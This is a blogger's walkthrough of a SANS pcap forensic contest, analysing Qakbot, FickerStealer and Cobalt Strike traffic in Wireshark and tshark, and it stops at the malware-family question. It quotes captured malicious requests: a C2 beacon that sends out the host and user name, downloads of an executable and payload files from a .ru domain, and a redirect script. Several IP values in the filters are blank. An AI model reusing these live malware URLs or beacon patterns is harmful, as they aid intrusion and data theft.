The answers have been released and are available here: https://isc.sans.edu/forums/diary/June+2021+Forensic+Contest+Answers+and+Analysis/27582/

They said it was hard, and it was. I’m proud of what I found! Reflecting back:

  • For some reason, I thought they meant not all the machines are infected. It turns out all three were! So I skipped over .93 entirely. Similarly, I was thinking each infected machine only had one piece of malware. Wrong again! Because I was looking for the answers and not thinking as if it was a real investigation, I stopped looking too early. I think I would have figured .93 out if I’d looked, although I would have probably missed Hancitor. Talking of…
  • I didn’t know Google Feedproxy could be part of a(n) (Hancitor) infection - I thought this traffic was all legit. I’m not upset that I missed it though - this will come with experience. The more I see, the more I learn, and the more I will recognise potentially malicious activity.
  • The zip couldn’t be unzipped because the pcap was incomplete (packet loss). Glad I didn’t waste too much time trying to figure that out! Although I could have used URLhaus to download the .xlsx malware sample separately. Never thought of that before.

Original Post



First, download and unzip (pass:infected) the pcap:

wget https://github.com/brad-duncan/June-2021-forensic-quiz/raw/main/June-2021-forensic-contest.pcap.zip

The infected Windows host is part of an AD environment.

The user account is formatted as firstname.lastname.

  • LAN segment range: ( through
  • Domain: saltmobsters.com
  • Domain Controller: - Saltmobsters-DC
  • LAN segment gateway:
  • LAN segment broadcast address:

Following the suggestion from Brad, I’ll start by splitting the pcap into separate pcaps by host. Using Endpoints from the Statistics menu, I can find the IPs of the machines in the subnet: .93, .119, .187. The Endpoints menu also gives the ethernet (MAC) addresses which, when resolved, gives us one Cisco, one Dell, and three ASUSTekC adapters (.1, .5, then the three other IPs). I’m going to use the IPs, so a filter for ip.addr== then Export Specified Packets from the File menu (and repeat for .119 and .187).


IP addresses of the infected Windows computers.

Let’s start with Export Objects → HTTP. This can show if any malware was downloaded.


We have many .cabs and a few .exes from windowsupdate.com from an Akamai IP (which is legit). VirusTotal seems to think these files are safe.


A large number of objects, including some from suspicious domains such as ststephenskisugu.church and hadevatjulps.com, as well as some from raw IPs including octet-streams. This could be something.


This, again, has windowsupdate.com, as well as some from solarwindsonline.com, including documents.zip and Oliver.Williams-84.zip.

This suggests .119 and .187 are the infected machines.

A bit more looking into .93, to confirm nothing bad is happening.

First, try Brad’s Basic search:

(http.request or tls.handshake.type == 1) and !(ssdp)

Nothing too scary looking. Nearly all the server names (tls.handshake.extensions_server_name) are Microsoft-related.

Checking the Endpoints again, the largest number of bytes transferred to a single IP is only 1099k, and this is part of Windows Updates. In fact, all the top IPs relate to Akami (Windows Updates) or Microsoft, so no large malware is downloaded, nor is there a large amount of communication (such as for C2).

I think we can safely say .119 and .187 are the infected machines.

Host names of the infected Windows computers.

DHCP and NBNS are usually useful for giving hostnames.

ip.addr== && (nbns || dhcp)

This only has NBNS. We want the nbns.name field.


And the not infected one:

  • DEKSTOP-A1CTJVY Yes, it’s dekstop not desktop.

User account names from the infected Windows computers.

Kerberos’s CNameString is good for user account names.

  • tommy.vega
  • horace.maddox

And the not infected one:

  • raquel.anderson

Date and time the infection activity began in UTC for each infected computer.


Let’s try Brad’s Basic filter again.

After a number of connections to Microsoft and Google (mainly TLSv1.2), we get the first uncommon request: http://ststephenskisugu.church/ordinate.php?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+omzcfo+(signorecouncelling). However, this comes directly after a request to Google feed proxy (http://feedproxy.google.com/~r/omzcfo/~3/s_JJ7f44kmQ/ordinate.php), and a bit of research shows St Stephen’s Kisugu is a legitimate church/website. The ordinate.php from Google gives the link St Stephen’s Kisugu link. I think this is okay.

Some more legitimate-looking requests follow, then a few suspicious-looking ones in a row:

10185	2021-06-16 14:37:08	50711	80	HTTP	464		hadevatjulps.com				POST /8/forum.php HTTP/1.1  (application/x-www-form-urlencoded)
10197	2021-06-16 14:37:09	50712	80	HTTP	223		srand04rf.ru				GET /16.bin HTTP/1.1 
10201	2021-06-16 14:37:09	50712	80	HTTP	224		srand04rf.ru				GET /16s.bin HTTP/1.1 
10205	2021-06-16 14:37:10	50713	80	HTTP	230				GET /VOoH HTTP/1.1 
10208	2021-06-16 14:37:10	50712	80	HTTP	231		srand04rf.ru				GET /f7juhkryu4.exe HTTP/1.1 
10215	2021-06-16 14:37:10	50714	443	HTTP	246				GET /4Erq HTTP/1.1 
10780	2021-06-16 14:37:11	50715	80	HTTP	448				GET /pixel HTTP/1.1 
10781	2021-06-16 14:37:11	50716	443	HTTP	444				GET /g.pixel HTTP/1.1

After these there are a large number of HTTP connections to 65[.]60[.]35[.]141 - but over port 443, instead of 80, and nearly all for /g.pixel. This could be the C2.

Looking at just these likely-malicious IPs:

ip.addr== || ip.addr== || ip.addr== || ip.addr==

The first connection is:

10182 2021-06-16 14:37:08 50711 80 TCP 66 50711 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM=1

This connection consists of:

POST /8/forum.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: hadevatjulps.com
Content-Length: 161
Cache-Control: no-cache

GUID=10958113038079894272&BUILD=1605_zdlpg&INFO=DESKTOP-NIEE9LP @ SALTMOBSTERS\tommy.vega&EXT=SALTMOBSTERS;saltmobsters.com;&IP= 200 OK
Server: nginx/1.16.1
Date: Wed, 16 Jun 2021 14:37:07 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.45


That is not data you’d want to be going to a malicious IP! This also confirms the user and hostname we previously found.

This looks to be when the malicious activity started: 2021-06-16 14:37:08.

The next two connections are downloading the .bin files and VOoh from the .ru domain. These are just data files. Putting the hashes of them into VirusTotal gives something for VOoh: BackDoor.Meterpreter.152; Trojan.Win32.COBALT.SMD.hp; ATK/Cobalt-D.

4Erq is also just data with no results for the hash. The pixel files are also just data.

And now the .exe! I couldn’t export f7juhkryu4.exe with Export Objects → HTTP, but I could save the stream: Right click, Follow → TCP Stream, Show and save data as: Raw (very important!), then Save as. Go into your text editor of choice (VSCode) and delete everything before MZ (as an MS-DOS executable always starts with MZ). However, the hash doesn’t return any information. Running strings on it doesn’t help much either, although it does show that it has the libraries for making network connections. I’m not going to attempt to full reverse-analyse it for this challenge.

However, if you put the URL (hxxp://srand04rf[.]ru/f7juhkryu4.exe) into VirusTotal, it says it is malicious - likely FickerStealer. URLhaus agreed with the FickerStealer designation.

Checking Endpoints again, there are a lot of packets with 185[.]66[.]15[.]228. This is a Russian IP relating to noc[.]su. This is about 4MB of outbound data; the only inbound is a request containing .'........%userprofile%\Desktop....*.txt..... The outbound is all encrypted. I’d say it’s data exfiltration. This data does appear in Export Objects → HTTP, but with no Hostname, Content Type, or Filename, and is only data.

In the timeline of events, this data exfil comes after the above executables (and data) are downloaded (i.e. after FickerStealer), but before the pixel (C2) connections.


Export Objects → HTTP gives a large number of documents.zip files from solarwindsonline[.]com. However, the file of these are just data - they’re not zips. Interestingly, these all come from a single GET request to hxxp://solarwindsonline[.]com/miss-alicia-abbott/documents.zip. So perhaps it is a zip, but chunked/in pieces.

By following the stream we can see this is initiated by a different request:

5617 2021-06-16 15:30:50 54774 80 TCP 66 54774 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1

Which was for hxxp://solarwindsonline[.]com/miss-alicia-abbott/Oliver.Williams-84.zip

This zip is also not a zip; it is, in fact, a script. The content of the “zip” response is:

<div id="ll" data-rr="/miss-alicia-abbott/documents.zip"></div><script>location.pathname = document.getElementById('ll').getAttribute('data-rr');</script>Wait...

Following this stream, we see one potentially interesting string: plan-1770706984.xlsb. xlsb are binary-encoded Excel files (compared with xlsx which store them in XML format). There’s also a PK near the beginning of the stream. PK relates to zip archives.

Similar to how we did for f7juhkryu4.exe, we can Follow the TCP Stream, viewing only the received data, and saving it as Raw. First, in VSCode, I removed everything relating to the headers, but file gave it only as data. Second, I removed everything before the PK (the magic numbers for a zip file). Unfortunately, if it is a zip, it appears to be corrupt:

$ unzip documents.zip 
Archive:  documents.zip
warning [documents.zip]:  122926 extra bytes at beginning or within zipfile
  (attempting to process anyway)
error [documents.zip]:  start of central directory not found;
  zipfile corrupt.

The filesize is 271101, so almost half of the bytes are “extra”. Hmm.

I played around a bit more but couldn’t figure it one out. I’m looking forward to the answers from Brad to see how I could have extracted the Excel document! But I’m sure it’s the source of the nastiness. URLhaus suggests this URL is related to Qakbot.

I would say this is the start of the malicious activity: 2021-06-16 15:30:50.

Now let’s try Brad’s Basic filter:

(http.request or tls.handshake.type == 1) and !(ssdp)

And check Statistics → Endpoints, applying this filter, and sorting by the highest number of packets.

The first IP, 207[.]246[.]77[.]75, has a 2% abuse confidence score by AbuseIPDB, and suggests it may be related to Qakbot. The connections are all TLS, connecting to the remote server on port 2222. Qakbot has also been known to use this port. Also, by checking the certificate, using the filter ip.addr== && tls.handshake.type==11, and hunting through the Packet Details box (it’s under TLS → Certificate → several more layers), we get this abnormal-looking cert:

rdnSequence: 5 items (id-at-commonName=zqyefcetkqg.biz,id-at-organizationName=Acipnee Bku Nibza Zidvi LLC.,id-at-localityName=Izuxtwuf,id-at-stateOrProvinceName=ZG,id-at-countryName=AU)

ZG is not an Aussie state or territory, and the common and org names do not look particularly legit.

In fact, as we’re here, let’s find all the certificates, using tshark:

$ tshark -r June-2021-forensic-contest-187.pcap -T fields -e x509sat.uTF8String | sort | uniq -c
      2 *.azureedge.net
      1 *.clo.footprintdns.com
     23 *.events.data.microsoft.com
      2 Greater Manchester,Salford,Comodo CA Limited,AAA Certificate Services
      1 LO,Bzrzm,Aibo Ecd Pqwiluzio Ewiri LLC.,mprscuece.com,Hdheuztaktv Ooiqtkeklt Mpkcioteoh,mprscuece.com
      8 Microsoft_RSA_TLS_Issuing_CA_01_KeyBinding
      6 Microsoft_RSA_TLS_Issuing_CA_02_KeyBinding
      5 *.msedge.net
      2 *.msn.com
      1 *.norsecompassgroup.com
      3 *.notify.windows.com,Microsoft_RSA_TLS_Issuing_CA_01_KeyBinding
      1 *.prod.do.dsp.mp.microsoft.com
      1 *.res.outlook.com
      1 *.wns.windows.com
     24 ZG,Izuxtwuf,Acipnee Bku Nibza Zidvi LLC.,zqyefcetkqg.biz,ZG,Izuxtwuf,Acipnee Bku Nibza Zidvi LLC.,zqyefcetkqg.biz

Two stand out as a bit strange, the one above, and mprscuece.com. Filtering for those in Wireshark:

x509sat.uTF8String=="zqyefcetkqg[.]biz" || x509sat.uTF8String=="mprscuece[.]com"

Gives us the IP 144[.]139[.]166[.]18. This has an abuse score of 0%, but has also been reported as an IOC of Qakbot. However, there are only a handful of packets relating to this IP, and following the stream provides nothing.

Most of the rest appear to be Microsoft-related. However, there is also 192[.]186[.]204[.]161, which is the solarwindsonline[.]com downloads above. It currently has no abuse score or comments.

Removing the filter and checking for all Endpoints (again, starting with the highest number of packets or bytes), another interesting one appears: 103[.]28[.]39[.]29. No abuse score, but it’s still yellow (meaning suspicious). It relates to share-linux11u[.]nhanhoa[.]com. A bit of Googling returns https://www.malwareurl.com/listing.php?as=AS131353&amp;active=on, which mentions this might be related to - you guessed it - Qakbot. Looking at the pcap, there are a large number of abnormal packets, including Ignored Unknown Record and Bad TCP (including Out Of Order, Duplicate ACK, and Previous Segment Not Captured).

We now have four suspicious IPs:

ip.addr== || ip.addr== || ip.addr== || ip.addr==

The download(s) over HTTP, then TLS connections to .29 over port 443, then TLS connections to .75 over port 2222. I’m ignoring .18 as it was only a few packets.

In fact, Tshark can also give us some interesting info, such as number of packets:

$ tshark -r June-2021-forensic-contest-187.pcap ip.addr== | uniq | wc -l

and number of TCP streams:

$ tshark -r June-2021-forensic-contest-187.pcap -T fields -e tcp.stream ip.addr== | uniq | wc -l

.75 had 26 streams across 691 packets.

.29 had only 1 stream across 346 packets.

.18 had only 1 stream across only 12 packets.

The family of malware involved for each infection.